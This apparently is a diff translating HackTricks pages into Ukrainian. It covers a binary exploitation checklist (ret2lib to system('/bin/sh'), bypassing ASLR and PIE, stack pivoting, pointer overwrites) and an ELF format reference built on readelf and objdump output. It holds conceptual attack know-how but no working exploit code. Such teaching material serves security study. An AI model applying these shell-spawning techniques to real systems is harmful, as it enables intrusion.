- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it&#x20;
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
- Find the **`libc` version** used (leak a couple of function addresses)
- Check the **previous scenarios with ASLR** to continue.
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Корисно для виклику функції з бібліотеки (зазвичай з **`libc`**), такої як **`system`** з деякими підготовленими аргументами (наприклад, `'/bin/sh'`). Вам потрібно, щоб бінарний файл **завантажив бібліотеку** з функцією, яку ви хочете викликати (зазвичай libc).
- Якщо **статично скомпільовано і без** [**PIE**](../common-binary-protections-and-bypasses/pie/), **адреси** `system` і `/bin/sh` не зміняться, тому їх можна використовувати статично.
- **Без** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **і знаючи версію libc**, **адреси** `system` і `/bin/sh` не зміняться, тому їх можна використовувати статично.
- З [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **але без** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, знаючи libc і з бінарним файлом, що використовує функцію `system`**, можливо **`ret` до адреси system в GOT** з адресою `'/bin/sh'` в параметрі (вам потрібно буде це з'ясувати).
- З [ASLR](../common-binary-protections-and-bypasses/aslr/) але без [PIE](../common-binary-protections-and-bypasses/pie/), знаючи libc і **без бінарного файлу, що використовує `system`**:
- Використовуйте [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md), щоб вирішити адресу `system` і викликати її.
- **Обійти** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) і обчислити адресу `system` і `'/bin/sh'` в пам'яті.
- **З** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **і** [**PIE**](../common-binary-protections-and-bypasses/pie/) **і не знаючи libc**: Вам потрібно:
- Обійти [**PIE**](../common-binary-protections-and-bypasses/pie/).
- Знайти **версію `libc`**, що використовується (викрити пару адрес функцій).
- Перевірити **попередні сценарії з ASLR**, щоб продовжити.
#### Via EBP/RBP
#### Через EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
- Useful for **off-by-one** stack overflows
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
- [**Поворот стеку / EBP2Ret / EBP ланцюгування**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Контролюйте ESP, щоб контролювати RET через збережений EBP у стеку.
- Корисно для **off-by-one** переповнень стеку.
- Корисно як альтернативний спосіб закінчити контроль EIP, зловживаючи EIP для побудови корисного навантаження в пам'яті, а потім переходячи до нього через EBP.
#### Misc
#### Різне
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
- [**Перенаправлення вказівників**](../stack-overflow/pointer-redirecting.md): У разі, якщо стек містить вказівники на функцію, яка буде викликана, або на рядок, який буде використаний цікавою функцією (system або printf), можливо, перезаписати цю адресу.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) або [**PIE**](../common-binary-protections-and-bypasses/pie/) можуть вплинути на адреси.
- [**Невизначені змінні**](../stack-overflow/uninitialized-variables.md): Ви ніколи не знаєте.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# ELF Basic Information
# ELF Основна Інформація
{{#include ../../banners/hacktricks-training.md}}
## Program Headers
The describe to the loader how to load the **ELF** into memory:
## Заголовки програми
Вони описують завантажувачу, як завантажити **ELF** в пам'ять:
```bash
readelf -lW lnstat
@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
```
Попередня програма має **9 заголовків програми**, тоді як **відображення сегментів** вказує, в якому заголовку програми (з 00 до 08) **знаходиться кожен розділ**.
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Заголовок програми
### PHDR - Program HeaDeR
Contains the program header tables and metadata itself.
Містить таблиці заголовків програми та метадані.
### INTERP
Indicates the path of the loader to use to load the binary into memory.
Вказує шлях до завантажувача, який потрібно використовувати для завантаження бінарного файлу в пам'ять.
### LOAD
These headers are used to indicate **how to load a binary into memory.**\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
Ці заголовки використовуються для вказівки **як завантажити бінарний файл в пам'ять.**\
Кожен **LOAD** заголовок вказує на область **пам'яті** (розмір, дозволи та вирівнювання) і вказує байти ELF **бінарного файлу, які потрібно скопіювати туди**.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
Наприклад, другий має розмір 0x1190, повинен бути розташований за адресою 0x1fc48 з дозволами на читання та запис і буде заповнений 0x528 з офсету 0xfc48 (не заповнює весь зарезервований простір). Ця пам'ять міститиме розділи `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
Цей заголовок допомагає зв'язувати програми з їхніми бібліотечними залежностями та застосовувати перенесення. Перевірте розділ **`.dynamic`**.
### NOTE
This stores vendor metadata information about the binary.
Це зберігає інформацію про метадані постачальника бінарного файлу.
### GNU_EH_FRAME
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
Визначає місцезнаходження таблиць розгортання стеку, які використовуються відладчиками та функціями обробки виключень C++.
### GNU_STACK
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
Містить конфігурацію захисту від виконання коду зі стеку. Якщо увімкнено, бінарний файл не зможе виконувати код зі стеку.
### GNU_RELRO
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
Вказує конфігурацію RELRO (Relocation Read-Only) бінарного файлу. Цей захист позначить як тільки для читання певні розділи пам'яті (як `GOT` або таблиці `init` та `fini`) після завантаження програми та перед її виконанням.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
У попередньому прикладі копіюється 0x3b8 байтів до 0x1fc48 як тільки для читання, що впливає на розділи `.init_array .fini_array .dynamic .got .data .bss`.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
Зверніть увагу, що RELRO може бути частковим або повним, часткова версія не захищає розділ **`.plt.got`**, який використовується для **лінивої прив'язки** і потребує цього простору пам'яті для надання **дозволів на запис**, щоб записати адресу бібліотек під час першого пошуку їхнього місцезнаходження.
### TLS
Defines a table of TLS entries, which stores info about thread-local variables.
Визначає таблицю записів TLS, яка зберігає інформацію про локальні для потоку змінні.
## Section Headers
Section headers gives a more detailed view of the ELF binary
## Заголовки розділів
Заголовки розділів надають більш детальний огляд ELF бінарного файлу.
```
objdump lnstat -h
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
Це також вказує на місцезнаходження, зсув, дозволи, а також **тип даних**, який має його секція.
It also indicates the location, offset, permissions but also the **type of data** it section has.
### Мета секції
### Meta Sections
- **Таблиця рядків**: Вона містить усі рядки, необхідні для ELF файлу (але не ті, які фактично використовуються програмою). Наприклад, вона містить назви секцій, такі як `.text` або `.data`. І якщо `.text` знаходиться на зсуві 45 у таблиці рядків, вона використовуватиме число **45** у полі **name**.
- Щоб знайти, де знаходиться таблиця рядків, ELF містить вказівник на таблицю рядків.
- **Таблиця символів**: Вона містить інформацію про символи, такі як ім'я (зсув у таблиці рядків), адреса, розмір та інші метадані про символ.
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
- In order to find where the string table is, the ELF contains a pointer to the string table.
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
### Основні секції
### Main Sections
- **`.text`**: Інструкція програми для виконання.
- **`.data`**: Глобальні змінні з визначеним значенням у програмі.
- **`.bss`**: Глобальні змінні, які залишилися неініціалізованими (або ініціалізовані нулем). Змінні тут автоматично ініціалізуються нулем, що запобігає додаванню непотрібних нулів до бінарного файлу.
- **`.rodata`**: Константні глобальні змінні (секція тільки для читання).
- **`.tdata`** та **`.tbss`**: Як .data та .bss, коли використовуються локальні для потоку змінні (`__thread_local` у C++ або `__thread` у C).
- **`.dynamic`**: Дивіться нижче.
- **`.text`**: The instruction of the program to run.
- **`.data`**: Global variables with a defined value in the program.
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
- **`.rodata`**: Constant global variables (read-only section).
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
- **`.dynamic`**: See below.
## Symbols
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
## Символи
Символи - це іменоване місце в програмі, яке може бути функцією, глобальним об'єктом даних, локальними для потоку змінними...
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Кожен запис символу містить:
Each symbol entry contains:
- **Name**
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
- **Section** index where it's located
- **Value** (address sin memory)
- **Size**
## Dynamic Section
- **Ім'я**
- **Атрибути зв'язування** (слабкий, локальний або глобальний): Локальний символ може бути доступний лише самою програмою, тоді як глобальний символ спільний за межами програми. Слабкий об'єкт, наприклад, це функція, яку можна переопределити іншою.
- **Тип**: NOTYPE (тип не вказано), OBJECT (глобальна змінна даних), FUNC (функція), SECTION (секція), FILE (файл вихідного коду для налагоджувачів), TLS (змінна локального потоку), GNU_IFUNC (непряма функція для релокації)
- **Індекс секції**, де він розташований
- **Значення** (адреса в пам'яті)
- **Розмір**
## Динамічна секція
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
Директорія NEEDED вказує на те, що програма **потребує завантаження згаданої бібліотеки** для продовження. Директорія NEEDED завершується, коли спільна **бібліотека повністю функціонує і готова** до використання.
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
## Переміщення
Завантажувач також повинен перемістити залежності після їх завантаження. Ці переміщення вказані в таблиці переміщень у форматах REL або RELA, а кількість переміщень вказується в динамічних секціях RELSZ або RELASZ.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Статичні перенесення
### Static Relocations
Якщо **програма завантажується в місце, відмінне** від бажаної адреси (зазвичай 0x400000) через те, що адреса вже використовується або через **ASLR**, або з будь-якої іншої причини, статичне перенесення **виправляє вказівники**, які мали значення, очікуючи, що бінарник буде завантажено за бажаною адресою.
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
Наприклад, будь-який розділ типу `R_AARCH64_RELATIV` повинен модифікувати адресу за зміщенням перенесення плюс значення доданка.
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
### Динамічні перенесення та GOT
### Dynamic Relocations and GOT
Перенесення також може посилатися на зовнішній символ (наприклад, функцію з залежності). Як функція malloc з libC. Тоді завантажувач, завантажуючи libC за адресою, перевіряючи, де завантажена функція malloc, запише цю адресу в таблицю GOT (Global Offset Table) (вказану в таблиці перенесення), де повинна бути вказана адреса malloc.
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
### Таблиця зв'язків процедур
### Procedure Linkage Table
Розділ PLT дозволяє виконувати ліниве зв'язування, що означає, що розв'язання місця розташування функції буде виконано перший раз, коли до неї звертаються.
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
